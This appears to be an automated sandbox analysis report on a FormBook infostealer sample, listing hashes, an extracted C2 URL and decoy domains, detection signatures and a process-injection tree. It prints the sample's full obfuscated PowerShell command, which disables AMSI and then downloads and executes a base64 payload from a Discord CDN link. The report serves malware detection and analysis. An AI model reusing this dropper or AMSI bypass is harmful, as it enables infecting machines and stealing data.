formbook | 51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541

General

Target

06daa4f472383226392964c70e34c376.exe
Size

65KB
MD5

06daa4f472383226392964c70e34c376
SHA1

b47a3554b0bf7250caa0f84090fb387cb332f31b
SHA256

51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541
SHA512

9f220bc3f4c097d582f2958e57255e862f1b67191c6409ea0199a1c9ce3bd57830f7d9cd86c38925b7c61d744a77cbd51d2b59ffee9f66d57e0ee2a4ab654dee

Score

10^/10

formbook rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.howmucharemyrarecoinsworth.com/jn7g/

Decoy

mojketering.com

signinsimple.com

theartclouds.com

xmartmanagement.com

akademisantri.com

knitsu.com

funeralhomeswarrensburgil.com

formatohd.xyz

ortetiles.com

myeduhubs.com

twinpiques.com

itpaystobefashionable.com

3drinkminimum.com

wanpoo1.com

crystalclearlifecoachingcc.com

dronerealestate.net

langers.email

konstela.com

enteratecondanielvelasquez.com

graceinhomeschoolchaos.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/592-72-0x0000000000400000-0x000000000042E000-memory.dmp	formbook
behavioral1/memory/592-73-0x000000000041EBD0-mapping.dmp	formbook
behavioral1/memory/1800-80-0x00000000000F0000-0x000000000011E000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

8 2028 Powershell.exe
10 2028 Powershell.exe

flow	pid	process
8	2028	Powershell.exe
10	2028	Powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Powershell.execalc.exemsiexec.exe

description	pid	process	target process
PID 2028 set thread context of 592	2028	Powershell.exe	calc.exe
PID 592 set thread context of 1352	592	calc.exe	Explorer.EXE
PID 1800 set thread context of 1352	1800	msiexec.exe	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

Powershell.execalc.exemsiexec.exe

pid	process
2028	Powershell.exe
2028	Powershell.exe
2028	Powershell.exe
2028	Powershell.exe
2028	Powershell.exe
2028	Powershell.exe
2028	Powershell.exe
592	calc.exe
592	calc.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe
1800	msiexec.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1352 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

calc.exemsiexec.exe

pid process

592 calc.exe
592 calc.exe
592 calc.exe
1800 msiexec.exe
1800 msiexec.exe

pid	process
1352	Explorer.EXE

pid	process
592	calc.exe
592	calc.exe
592	calc.exe
1800	msiexec.exe
1800	msiexec.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

Powershell.execalc.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	2028	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2028	Powershell.exe
Token: SeSecurityPrivilege	2028	Powershell.exe
Token: SeTakeOwnershipPrivilege	2028	Powershell.exe
Token: SeLoadDriverPrivilege	2028	Powershell.exe
Token: SeSystemProfilePrivilege	2028	Powershell.exe
Token: SeSystemtimePrivilege	2028	Powershell.exe
Token: SeProfSingleProcessPrivilege	2028	Powershell.exe
Token: SeIncBasePriorityPrivilege	2028	Powershell.exe
Token: SeCreatePagefilePrivilege	2028	Powershell.exe
Token: SeBackupPrivilege	2028	Powershell.exe
Token: SeRestorePrivilege	2028	Powershell.exe
Token: SeShutdownPrivilege	2028	Powershell.exe
Token: SeDebugPrivilege	2028	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2028	Powershell.exe
Token: SeRemoteShutdownPrivilege	2028	Powershell.exe
Token: SeUndockPrivilege	2028	Powershell.exe
Token: SeManageVolumePrivilege	2028	Powershell.exe
Token: 33	2028	Powershell.exe
Token: 34	2028	Powershell.exe
Token: 35	2028	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2028	Powershell.exe
Token: SeSecurityPrivilege	2028	Powershell.exe
Token: SeTakeOwnershipPrivilege	2028	Powershell.exe
Token: SeLoadDriverPrivilege	2028	Powershell.exe
Token: SeSystemProfilePrivilege	2028	Powershell.exe
Token: SeSystemtimePrivilege	2028	Powershell.exe
Token: SeProfSingleProcessPrivilege	2028	Powershell.exe
Token: SeIncBasePriorityPrivilege	2028	Powershell.exe
Token: SeCreatePagefilePrivilege	2028	Powershell.exe
Token: SeBackupPrivilege	2028	Powershell.exe
Token: SeRestorePrivilege	2028	Powershell.exe
Token: SeShutdownPrivilege	2028	Powershell.exe
Token: SeDebugPrivilege	2028	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2028	Powershell.exe
Token: SeRemoteShutdownPrivilege	2028	Powershell.exe
Token: SeUndockPrivilege	2028	Powershell.exe
Token: SeManageVolumePrivilege	2028	Powershell.exe
Token: 33	2028	Powershell.exe
Token: 34	2028	Powershell.exe
Token: 35	2028	Powershell.exe
Token: SeDebugPrivilege	592	calc.exe
Token: SeDebugPrivilege	1800	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1352 Explorer.EXE
1352 Explorer.EXE
1352 Explorer.EXE
1352 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1352 Explorer.EXE
1352 Explorer.EXE
1352 Explorer.EXE
1352 Explorer.EXE

pid	process
1352	Explorer.EXE
1352	Explorer.EXE
1352	Explorer.EXE
1352	Explorer.EXE

pid	process
1352	Explorer.EXE
1352	Explorer.EXE
1352	Explorer.EXE
1352	Explorer.EXE

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

06daa4f472383226392964c70e34c376.exePowershell.exeExplorer.EXEmsiexec.exe

description	pid	process	target process
PID 1096 wrote to memory of 2028	1096	06daa4f472383226392964c70e34c376.exe	Powershell.exe
PID 1096 wrote to memory of 2028	1096	06daa4f472383226392964c70e34c376.exe	Powershell.exe
PID 1096 wrote to memory of 2028	1096	06daa4f472383226392964c70e34c376.exe	Powershell.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 2028 wrote to memory of 592	2028	Powershell.exe	calc.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1352 wrote to memory of 1800	1352	Explorer.EXE	msiexec.exe
PID 1800 wrote to memory of 2000	1800	msiexec.exe	cmd.exe
PID 1800 wrote to memory of 2000	1800	msiexec.exe	cmd.exe
PID 1800 wrote to memory of 2000	1800	msiexec.exe	cmd.exe
PID 1800 wrote to memory of 2000	1800	msiexec.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1352

C:\Users\Admin\AppData\Local\Temp\06daa4f472383226392964c70e34c376.exe
"C:\Users\Admin\AppData\Local\Temp\06daa4f472383226392964c70e34c376.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$76545677866555677886556778657=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,53,56,55,57,51,51,50,50,48,56,55,55,49,48,55,53,51,47,56,54,51,56,57,56,49,51,54,56,53,52,48,48,51,55,50,50,47,109,101,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($76545677866555677886556778657)|I`E`X
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\WINDOWS\syswow64\calc.exe
"{path}"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:592

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\SysWOW64\msiexec.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\calc.exe"
3⤵
PID:2000

Network

MITRE ATT&CK Matrix

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Downloads

memory/592-72-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/592-74-0x0000000000830000-0x0000000000B33000-memory.dmp

Filesize
3.0MB

Download
memory/592-75-0x0000000000180000-0x0000000000194000-memory.dmp

Filesize
80KB

Download
memory/592-73-0x000000000041EBD0-mapping.dmp

Download
memory/1352-84-0x0000000004960000-0x0000000004A00000-memory.dmp

Filesize
640KB

Download
memory/1352-76-0x0000000006B40000-0x0000000006C59000-memory.dmp

Filesize
1.1MB

Download
memory/1800-78-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

Filesize
8KB

Download
memory/1800-77-0x0000000000000000-mapping.dmp

Download
memory/1800-83-0x0000000001F50000-0x0000000001FE3000-memory.dmp

Filesize
588KB

Download
memory/1800-82-0x0000000002220000-0x0000000002523000-memory.dmp

Filesize
3.0MB

Download
memory/1800-80-0x00000000000F0000-0x000000000011E000-memory.dmp

Filesize
184KB

Download
memory/1800-79-0x00000000000A0000-0x00000000000B4000-memory.dmp

Filesize
80KB

Download
memory/2000-81-0x0000000000000000-mapping.dmp

Download
memory/2028-71-0x000000001C560000-0x000000001C5BA000-memory.dmp

Filesize
360KB

Download
memory/2028-64-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/2028-63-0x000000001AD70000-0x000000001AD71000-memory.dmp

Filesize
4KB

Download
memory/2028-62-0x0000000002290000-0x0000000002291000-memory.dmp

Filesize
4KB

Download
memory/2028-65-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

Filesize
8KB

Download
memory/2028-60-0x0000000000000000-mapping.dmp

Download
memory/2028-66-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

Filesize
8KB

Download
memory/2028-67-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/2028-70-0x000000001ACFA000-0x000000001AD19000-memory.dmp

Filesize
124KB

Download
memory/2028-69-0x000000001B620000-0x000000001B621000-memory.dmp

Filesize
4KB

Download
memory/2028-68-0x000000001AB30000-0x000000001AB31000-memory.dmp

Filesize
4KB

Download
memory/2028-61-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads